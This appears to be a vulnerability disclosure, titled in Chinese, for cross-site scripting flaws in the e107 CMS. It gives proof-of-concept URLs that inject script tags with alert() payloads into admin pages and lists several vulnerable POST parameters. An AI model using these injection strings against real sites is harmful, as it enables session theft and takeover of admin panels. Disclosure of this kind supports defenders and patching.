e107多个参数跨站脚本漏洞

http://example.com/e107_admin/users.php?searchquery=as&filter_options=user_ban__2&filter='"--></style></script><script>alert(0x0007FA)</script> http://example.com/e107_admin/users.php?searchquery='"--></style></script><script>alert(0x0006A5)</script>&filter_options=user_ban__2&filter=unverified http://example.com/e107_admin/image.php?mode=main&action=dialog&tagid='"--></style></script><script>alert(0x0014D4)</script>&iframe=1 http://example.com/submitnews.php (POST 'submitnews_title' param vulnerable to XSS) http://example.com/e107_admin/meta.php (POST ‘meta_author’ param vulnerable to XSS) http://example.com/news.php?extend.3=3 (POST ‘comment’ param vulnerable to XSS) http://example.com/e107_admin/language.php (POST ‘multilanguage_subdomain’ param vulnerable to XSS)